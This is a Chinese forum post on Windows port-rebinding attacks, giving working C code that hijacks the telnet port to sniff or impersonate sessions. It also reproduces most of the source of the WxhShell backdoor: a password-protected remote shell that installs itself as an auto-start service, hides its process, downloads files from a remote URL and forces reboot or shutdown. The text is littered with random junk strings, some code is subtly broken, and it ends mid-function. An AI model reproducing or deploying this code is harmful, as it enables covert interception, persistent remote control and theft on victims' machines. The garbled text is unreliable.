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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: B[#n,ay  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wuk\__f4  
&h!O<'*2  
  saddr.sin_family = AF_INET; e"{"g[b/7  
8$Zwk7 w8A  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); F?cwIE\J  
Rh$+9w  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); wf\7sz  
;mGPX~38  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 lk R^2P  
TiG?r$6v%  
  这意味着什么?意味着可以进行如下的攻击: L 8;H_:~_'  
0 VG;z#{J  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 sX*L[3!vN  
pjoyMHWK  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) DO+~    
3p?nQ O)L  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 [?qzMFb  
$d4&H/u^  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  P|p X F~  
Hi/[  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @$;8k }  
H8HVmfM  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \Y8 sIs  
_iEnS4$A8  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 (\r^ 0>H  
G!G:YVWXP  
  #include ("}C& 6)cB  
  #include ;cPPx`0$9  
  #include '|) ,?  
  #include    _Ex<VF u  
  DWORD WINAPI ClientThread(LPVOID lpParam);   r ?<kWR?w  
  int main() [u^ fy<jdp  
  { Doq}UWp  
  WORD wVersionRequested; gu~R4 @3  
  DWORD ret; _5(1T%K)  
  WSADATA wsaData; a^E>LJL  
  BOOL val; jt: *Y  
  SOCKADDR_IN saddr; yHlQKI  
  SOCKADDR_IN scaddr; suW|hh1/Ya  
  int err; Q-#<{' (  
  SOCKET s; fo`R=|L[  
  SOCKET sc; /"m#mh L  
  int caddsize; %hw4IcWJ|  
  HANDLE mt; NXDkGO/*  
  DWORD tid;   6A|XB3  
  wVersionRequested = MAKEWORD( 2, 2 ); 5} ur,0{  
  err = WSAStartup( wVersionRequested, &wsaData ); bb\XZ~)F  
  if ( err != 0 ) { BA@M>j6d  
  printf("error!WSAStartup failed!\n"); 5[r}'08b  
  return -1; !b4AeiL>w  
  } PApr8Xe  
  saddr.sin_family = AF_INET; + @|u8+  
   e{Vn{.i,5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 &2[Xu4*  
h&v].l  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); H"k\(SPVS  
  saddr.sin_port = htons(23); <Kr`R+Q$DN  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) I|K!hQ"m  
  { 8'b ZR]  
  printf("error!socket failed!\n"); |O'*CCrCL  
  return -1; *B{]  
  } BD}%RTeWKq  
  val = TRUE; h8Oj E$ H  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 '@w'(}3!3R  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Hg8 4\fA  
  { c&wiTvRV  
  printf("error!setsockopt failed!\n"); :[f[-F  
  return -1; k\*?<g  
  } `,/5skeJ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; R+e)TR7+  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Vkd_&z7  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 xx7&y !_  
YO?o$Hv16  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) $]}K;  
  { P O0Od z  
  ret=GetLastError(); G,^ ?qbHg  
  printf("error!bind failed!\n"); 8\:>;XG6f  
  return -1; 0+SZ-]  
  } Z1+Ewq3m  
  listen(s,2); a_{'I6a*,  
  while(1) #Yp&yi }  
  { O7LJ-M  
  caddsize = sizeof(scaddr); ot! m=s  
  //接受连接请求 qTwl\dcncC  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ~]?EV?T  
  if(sc!=INVALID_SOCKET) COw!a\Jl  
  { !;[cJbqnh  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); fl9VokAT  
  if(mt==NULL) 0c!^=(  
  { zw$\d1-+h  
  printf("Thread Creat Failed!\n"); B1E:P`t  
  break; T\6,@7  
  } kjdIk9 Y  
  } )8}k.t>'s  
  CloseHandle(mt); F6Q%<p a  
  } P0OMu/  
  closesocket(s); T3SFG]H  
  WSACleanup(); ./0wt+  
  return 0; gp$Rf9\  
  }   v.TgB)  
  DWORD WINAPI ClientThread(LPVOID lpParam) +\&6Zbn  
  { O<,\ tZ'N  
  SOCKET ss = (SOCKET)lpParam; 8Exky^OT|  
  SOCKET sc; EK0~ 3HSZ  
  unsigned char buf[4096]; y x#ub-A8  
  SOCKADDR_IN saddr; QOrMz`OA  
  long num; I!1+#0SG  
  DWORD val; :5T=y @  
  DWORD ret; Cd]A1<6s  
  //如果是隐藏端口应用的话,可以在此处加一些判断 P(Zj}tGN  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   L;{{P7  
  saddr.sin_family = AF_INET; iPWr-  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); K4]ZVMm/*  
  saddr.sin_port = htons(23); .j|uf[?h  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }fo_"bs@  
  { kdV9F  
  printf("error!socket failed!\n"); jJt4{c  
  return -1; NW3qs`$-(  
  } U,6sR  
  val = 100; Y hmveV  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) >g~IP>  
  { Ej6ho0_  
  ret = GetLastError(); ?K2}<H-  
  return -1; _JTK$ \  
  } "_dg$j`Y&&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) o:3(J}  
  { Jmg9|g!f  
  ret = GetLastError(); JXq!v:w6  
  return -1; 'r\RN\PT  
  } -Eq[J k  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) &=n/h5e0t&  
  { 9y5JV3  
  printf("error!socket connect failed!\n"); XK@&$~iA3  
  closesocket(sc); ]o0]i<:  
  closesocket(ss); w{2CV\^>5  
  return -1; Wq5}LO)  
  } )X|)X,~+-  
  while(1) rKFnivGT  
  { g)TZ/,NQ{  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 (y&sUc9  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 /EP zT7  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 9%NobT  
  num = recv(ss,buf,4096,0); ^E8qI8s  
  if(num>0) tK/,U =+  
  send(sc,buf,num,0); 5p:BHw;%;  
  else if(num==0) YwF&-~mp7n  
  break; !!V1#?0jw  
  num = recv(sc,buf,4096,0); w $-q&  
  if(num>0) *) T"-}F  
  send(ss,buf,num,0); hwL`9.w  
  else if(num==0) } S]!W\a  
  break; qhcx\eD:?  
  } /d:hW4}<}.  
  closesocket(ss); !5?_)  
  closesocket(sc); t^zE^:06  
  return 0 ; hi/d%lNZ  
  } H&p:  
_E'}8.#{  
y?O-h1"3,  
========================================================== 0!ZaR 6  
~|O;Sdo=  
下边附上一个代码,,WXhSHELL Eri007?D  
$':5uU1}  
========================================================== ]cS(2hP7  
O< /b]<[  
#include "stdafx.h" h^Yh~84T  
T$R#d&t  
#include <stdio.h> KU oAxA  
#include <string.h> c*E7nc)u  
#include <windows.h> 7.ein:M|CB  
#include <winsock2.h> ED79a:  
#include <winsvc.h> oA~0"}eS  
#include <urlmon.h> 41Q)w=hoN  
0uW)&>W  
#pragma comment (lib, "Ws2_32.lib") CdmpKkq#  
#pragma comment (lib, "urlmon.lib") $/g`{O I]K  
G<<; a  
#define MAX_USER   100 // 最大客户端连接数 wXqwb|2  
#define BUF_SOCK   200 // sock buffer \ctzv``/n  
#define KEY_BUFF   255 // 输入 buffer bCC &5b  
F02TM#Zi  
#define REBOOT     0   // 重启 id : ^|  
#define SHUTDOWN   1   // 关机 0n`Temb/  
~aQR_S  
#define DEF_PORT   5000 // 监听端口 o&@y^<UQ  
c U(z5th  
#define REG_LEN     16   // 注册表键长度 @jMo/kO/A  
#define SVC_LEN     80   // NT服务名长度 !]A/ID0K  
SIR2 Kc0  
// 从dll定义API MoEh25U.  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); jCNR63/  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {c LWum[SY  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); nFGX2|d  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); W|rAn2H  
Lk#)VGk:  
// wxhshell配置信息 -@#],s7  
struct WSCFG { u^E0u^  
  int ws_port;         // 监听端口 2h*aWBLk  
  char ws_passstr[REG_LEN]; // 口令 ,98 F  
  int ws_autoins;       // 安装标记, 1=yes 0=no 2|RoN)%  
  char ws_regname[REG_LEN]; // 注册表键名 Zj ` ;IYFG  
  char ws_svcname[REG_LEN]; // 服务名 dJ])`S  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *9=}f;~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ebCS4&c  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 m zoH$@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no /=9dX; #  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UCj+V@{  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 r<srTHGL o  
rZ-< Ryg  
}; w;AbJCv2  
|HY{Q1%  
// default Wxhshell configuration eUCBQK  
struct WSCFG wscfg={DEF_PORT, o::9M_;  
    "xuhuanlingzhe",  g;AW  
    1, D ZH2U+K  
    "Wxhshell", Q:y'G9b  
    "Wxhshell", o^owv(  
            "WxhShell Service", .We{W{  
    "Wrsky Windows CmdShell Service", 8$ X3J[_j  
    "Please Input Your Password: ", Ja/  
  1, W* v3B.  
  "http://www.wrsky.com/wxhshell.exe", Vr %ef:uVV  
  "Wxhshell.exe" r/P}j4)b7  
    }; 9GTp};Kg  
AqaMi  
// 消息定义模块 {L.uLr_?e  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @*UV|$~(Q  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &=:3/;c  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; &Ll&A@yU  
char *msg_ws_ext="\n\rExit."; A McZm0c`  
char *msg_ws_end="\n\rQuit."; WoNY8 8hT  
char *msg_ws_boot="\n\rReboot..."; m"'`$/_  
char *msg_ws_poff="\n\rShutdown..."; _bgv +/  
char *msg_ws_down="\n\rSave to "; 91q  
zE/\2F$  
char *msg_ws_err="\n\rErr!"; ]0|A\bE\S  
char *msg_ws_ok="\n\rOK!"; puMb B9)  
WA:r4V  
char ExeFile[MAX_PATH]; x5/&,&m`%  
int nUser = 0; p7r/`_'|  
HANDLE handles[MAX_USER]; 2\T\p<_20  
int OsIsNt; 5nsoWqnE8  
x#R6Ez7  
SERVICE_STATUS       serviceStatus; BIe:7cR%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Xw7'I  
%&V%=-O_7  
// 函数声明 &CN(PZv  
int Install(void); T5.^ w  
int Uninstall(void); <l5m\A  
int DownloadFile(char *sURL, SOCKET wsh); GCfVH?Vx  
int Boot(int flag); wArfnB&  
void HideProc(void); lNWP9?X  
int GetOsVer(void); gxAy{ t  
int Wxhshell(SOCKET wsl); K(d+t\ca  
void TalkWithClient(void *cs); DZ`m{l3H  
int CmdShell(SOCKET sock); ~<s^HP2U{  
int StartFromService(void); =]/<Kd}A.  
int StartWxhshell(LPSTR lpCmdLine); MOnTp8   
8?YeaMIBB  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); BNI)y@E^X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Y~UAE.  
1KBGML-K3  
// 数据结构和表定义 oVPr`]  
SERVICE_TABLE_ENTRY DispatchTable[] = V{A`?Jl6{  
{ o; U!{G(X  
{wscfg.ws_svcname, NTServiceMain}, X;l/D},.  
{NULL, NULL} s;* UP   
}; yBIX<P)vE'  
;z N1Qb  
// 自我安装 uN>5Eh&=Pf  
int Install(void) b(Tvc  
{ 0 _MtmmL.  
  char svExeFile[MAX_PATH]; nbf/WOCk  
  HKEY key; `.3@Ki~$#  
  strcpy(svExeFile,ExeFile); ~dpf1fP  
JPng !tvR  
// 如果是win9x系统,修改注册表设为自启动 nb<oo:^  
if(!OsIsNt) { K5 BL4N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N fG9a~  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?# _{h  
  RegCloseKey(key); `8RKpZv&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^+CHp(X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E]GbLU;TH  
  RegCloseKey(key); [0]A-#J  
  return 0; 0< vJ*z|_  
    } >0<n%V#s:r  
  } #RaqNu  
} Y|Gp\  
else { jnT Tj l  
LbRQjwc]W  
// 如果是NT以上系统,安装为系统服务 ::$W .!Uv  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ^7YNM<_%@  
if (schSCManager!=0) "`4ky ]  
{ vO~  Tx  
  SC_HANDLE schService = CreateService 7*K UM6z  
  ( rqqd} kA  
  schSCManager, s- PS]l@  
  wscfg.ws_svcname, ]7S f)  
  wscfg.ws_svcdisp, }l[e@6r F  
  SERVICE_ALL_ACCESS, ~~-VScG&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , #fns3=/ H  
  SERVICE_AUTO_START, @*Ry`)T  
  SERVICE_ERROR_NORMAL, OoH-E.lp  
  svExeFile, YI,t{Wy  
  NULL, "V 26\  
  NULL, '6&o:t  
  NULL, vJ^~J2#5  
  NULL, T>rmm7F  
  NULL d!0rq4v7  
  ); xn503,5G*7  
  if (schService!=0) ~U"m"zpLP  
  { 4dPTrBQ?  
  CloseServiceHandle(schService); x0(bM g>7  
  CloseServiceHandle(schSCManager); NGl 8*Af   
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L#byYB;E{  
  strcat(svExeFile,wscfg.ws_svcname); __.MS6"N  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8TeOh 1\  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R2sG'<0B0  
  RegCloseKey(key); ~at@3j}W  
  return 0; Hf]:m hH  
    } nco.j:  
  } ?8"* B^*Sh  
  CloseServiceHandle(schSCManager); /#M1J:SV  
} >aO.a[AM  
} K%\r[NF  
a- rR`  
return 1; 9Sxr9FLW~  
} m.Zy$SDj(  
.F 6US<]  
// 自我卸载 i3N{Dt  
int Uninstall(void) BA2"GJvfIA  
{ _) x{TnK  
  HKEY key; F8?2+w@P  
c.IUqin  
if(!OsIsNt) { & mOn]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *O~y6|U?  
  RegDeleteValue(key,wscfg.ws_regname); 4@{c K|  
  RegCloseKey(key); B\RAX#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =eU=\td^  
  RegDeleteValue(key,wscfg.ws_regname); F%|P#CaB  
  RegCloseKey(key); T(?w}i  
  return 0; uS`}  
  } A,<5W }  
} l2St)`K8  
} ,XEIg  
else { Lxp}o7>K  
,6;n[p"h|r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l!x+K&  
if (schSCManager!=0) O3o ^%0  
{ , yltt+ e  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); aKriO  
  if (schService!=0) Ux=~-}<-w  
  { ?0/$RpFEM#  
  if(DeleteService(schService)!=0) { ] H !ru  
  CloseServiceHandle(schService); [n[dr@J7v  
  CloseServiceHandle(schSCManager); &6vaLx  
  return 0; (2# Xa,pb  
  } D0jV}oz  
  CloseServiceHandle(schService); ^H.B6h?  
  } -n9&W  
  CloseServiceHandle(schSCManager); ) 1AAL0F\B  
} Pb'(Y  
} ~x,_A>a  
2/ 4zg  
return 1; 3LETzsJ  
} eTp|!T  
v=@y7P1  
// 从指定url下载文件 }dzdx "  
int DownloadFile(char *sURL, SOCKET wsh) fG'~@'P~  
{ L=#NUNiXr  
  HRESULT hr; dHIk3j-!  
char seps[]= "/"; ,N(Yjq"R  
char *token; hEB5=~A_  
char *file; s<{ Hu0K$  
char myURL[MAX_PATH]; t\ oud{Cv  
char myFILE[MAX_PATH]; I0zx'x)F  
yIKpyyC9H  
strcpy(myURL,sURL); 8+[Vo_]  
  token=strtok(myURL,seps); vQ*[tp#qU  
  while(token!=NULL) N~=I))i  
  { cK1^jH<|  
    file=token;  J| N 6r  
  token=strtok(NULL,seps); D:Q#%wJ  
  } G"?7 Z&+  
U&#` <R_0  
GetCurrentDirectory(MAX_PATH,myFILE); d2UidDU5qa  
strcat(myFILE, "\\"); P_5aHeiJ  
strcat(myFILE, file); G~5pMyOR  
  send(wsh,myFILE,strlen(myFILE),0); )oCL![^pXe  
send(wsh,"...",3,0); ^Q`5+  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); yo#r^iAr  
  if(hr==S_OK) AT1cN1:4?  
return 0; xJ$uoy3+  
else !-}Q{<2@W  
return 1; t?>}0\1  
`;}`>!8j  
} 8s6[-F5  
"j_iq"J  
// 系统电源模块 -]0:FKW  
int Boot(int flag) bBs{PI2(p1  
{ Sqn>L`Lz  
  HANDLE hToken; nKGQU,C  
  TOKEN_PRIVILEGES tkp; $^fF}y6N  
x4v:67_^  
  if(OsIsNt) { F)cCaE;  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ^rJTlh 9  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 3q/Us0jr  
    tkp.PrivilegeCount = 1; x >ah,  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; g*b`o87PI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); r:V bjmL  
if(flag==REBOOT) { @;eH~3P  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c(=>5  
  return 0; >;Hx<FKxP  
} *}C%z(  
else { p?$N[-W6-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ouCh2Y/_  
  return 0; M@es8\&S.  
} bji#ID2]%  
  } 7=N%$]DKZ  
  else { M%_*vD  
if(flag==REBOOT) { i{EQjZ  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) q* lk9{>  
  return 0; :.AC%'S  
} Kq")|9=d  
else { \9,lMK[b  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) E&J<qTH9  
  return 0; 4Vi*Qa_,y  
} g"n>v c7  
} !7\dr )  
^ q ba<#e  
return 1; 4OM ]8I!  
} ?M4ig_  
U $#^ e  
// win9x进程隐藏模块 fASklcQ  
void HideProc(void) Ydsnu  
{ \ &|xMw[  
8-+# !]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x=>dmi3  
  if ( hKernel != NULL ) ds(X[7XGW  
  { Uot(3p!S6  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ww %c+O/  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); P}AwE,&Q  
    FreeLibrary(hKernel); )Mq4p'*A[  
  } w$$pTk|&n  
I[Bp}6G  
return; J" ,Cwk\  
} t_I-6`8o]  
MA tF,  
// 获取操作系统版本 YH^U "\}i  
int GetOsVer(void) :Hitx  
{ w`boQ_Ir  
  OSVERSIONINFO winfo; L7 FFa:#  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w@P86'< v  
  GetVersionEx(&winfo); .vmCKZ  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T^8`ji  
  return 1; 1| WDbk  
  else # .&t'"u  
  return 0; s;<]gaonB_  
} 8}oe))b  
4UL"f<7 T  
// 客户端句柄模块 +tkm,>s  
int Wxhshell(SOCKET wsl) I7XM2xM  
{ \o,et9zDJ3  
  SOCKET wsh; aAu%QRq  
  struct sockaddr_in client;  iU{\a,  
  DWORD myID; V:D?i#%,z  
_NuHz  
  while(nUser<MAX_USER) j*VYUM@y1\  
{ &z\?A2Mw%  
  int nSize=sizeof(client); B_c-@kl   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z5^Se!`5  
  if(wsh==INVALID_SOCKET) return 1; jxw8jo06:  
S="\S  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); B&3@b  
if(handles[nUser]==0) {R~L7uR @O  
  closesocket(wsh); -oju-gf K  
else coXm*X>z  
  nUser++; @MH/e fW.  
  } ;M#D*<ucI:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !q+ %]k?x  
XC[AJ!q`  
  return 0; *q1sM#;5  
} >va9*pdJ  
(a|Wq{`[  
// 关闭 socket Gnqun%  
void CloseIt(SOCKET wsh) qy!pD R;  
{ vdulrnGqL  
closesocket(wsh); P-N+  
nUser--; 44hz,  
ExitThread(0); @rW%*?$7  
} JR/^Go$^  
aj]%c_])(  
// 客户端请求句柄 bJ.68643  
void TalkWithClient(void *cs) ])T_&%  
{ ByXcs'  
aQfrDM<*XS  
  SOCKET wsh=(SOCKET)cs; h,Tsb:Q"M  
  char pwd[SVC_LEN]; wW;!L =j  
  char cmd[KEY_BUFF]; 7G8M+i3q/  
char chr[1]; z9*7fT  
int i,j; qg-?Z,EB  
DvXbbhp  
  while (nUser < MAX_USER) { \C E8S+Z%  
Y'i_EX|  
if(wscfg.ws_passstr) { A?OaP  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I'RhA\`  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); K5q9u-7  
  //ZeroMemory(pwd,KEY_BUFF); 8|p*T&Cn&  
      i=0; {-Y% wM8<i  
  while(i<SVC_LEN) { GCPSe A~cx  
,a,coeL  
  // 设置超时 T#sKld  
  fd_set FdRead; iY1JU -S  
  struct timeval TimeOut; . B9rG~  
  FD_ZERO(&FdRead); Y)4&PN~[  
  FD_SET(wsh,&FdRead); m-No 8)2yA  
  TimeOut.tv_sec=8; _[.3I1kG  
  TimeOut.tv_usec=0; ZMXIKN9BF#  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); '|i<?]U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,.<l^sj5  
8wqHr@}p  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  qTL]  
  pwd=chr[0]; f=Rx8I  
  if(chr[0]==0xd || chr[0]==0xa) { vrD]o1F  
  pwd=0; n-n{+ Dl!  
  break; n089tt=TE  
  } (1(dL_?  
  i++; Q<V?rPAcx  
    } Fh4kd>1 D  
Pp[?E.]P  
  // 如果是非法用户,关闭 socket +,"/z\QO  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?_9A`LC*  
} 4c*?9r@  
A~6:eappH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ?HBNd&gZ1G  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "-+5`!Y  
T8 ,?\7)S9  
while(1) { W"_")V=QBz  
c3&;Y0SD  
  ZeroMemory(cmd,KEY_BUFF); )8:Ltn%  
{]/}3t  
      // 自动支持客户端 telnet标准   ?6F\cl0.  
  j=0; ~e5hfZv|w  
  while(j<KEY_BUFF) { c-L1 Bkw  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a'zf8id  
  cmd[j]=chr[0]; Quy&CV{@  
  if(chr[0]==0xa || chr[0]==0xd) { +wU9d8W  
  cmd[j]=0; tk@ T-;  
  break; LwV4p6A  
  } ]kQ*t{\  
  j++; JgJ4RmH-  
    } "/e:V-W   
`<1o}r 7i  
  // 下载文件 5J^S-K^r  
  if(strstr(cmd,"http://")) { iX]Vkx  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Wm{Lg0Nr  
  if(DownloadFile(cmd,wsh)) ^u@"L  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); E)l0`83~^  
  else wJs #rkW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Em?Z  
  } rz%8V igb  
  else { tONX<rA|]  
/gWaxR*m  
    switch(cmd[0]) { zO BLF|L=  
  `52+.*J+%  
  // 帮助 !2-f%x]tO  
  case '?': { LO8`qq*rq  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); % ~eIx=s  
    break; 5G!0Yy['  
  } V*X6 <}  
  // 安装 ZG29q>  
  case 'i': { {z~n`ow  
    if(Install()) dux.Z9X?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )k)HQcfjD  
    else 0wM2v[^YO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q~esxp  
    break; !&'GWQY{(  
    } [Dr'  
  // 卸载 7Gwn,&)  
  case 'r': { 7+_TdDBYs  
    if(Uninstall()) 0&M~lJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nHAET  
    else oT7 6)O  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oeV. K.  
    break; X:N`x  
    } " pg5w  
  // 显示 wxhshell 所在路径 \9 ,a"g  
  case 'p': { WP5cC@x  
    char svExeFile[MAX_PATH]; b |SDg%e  
    strcpy(svExeFile,"\n\r"); B*0TM+  
      strcat(svExeFile,ExeFile); Dj?84y  
        send(wsh,svExeFile,strlen(svExeFile),0); 7:[u.cd  
    break; 1SAO6Wh  
    } t QR qQ  
  // 重启 6zbqv6  
  case 'b': { {lam],#r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); >m:;. vVY  
    if(Boot(REBOOT)) >X@4wP 7l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z "mqH  
    else { O)N$nBnp  
    closesocket(wsh); "A( D}~i  
    ExitThread(0); ~,^pya  
    } wH?]kV8Q  
    break; 'c7'iDM  
    } $^TxLv  
  // 关机 MnL o{G]  
  case 'd': { KPi_<LuK  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .8%&K0  
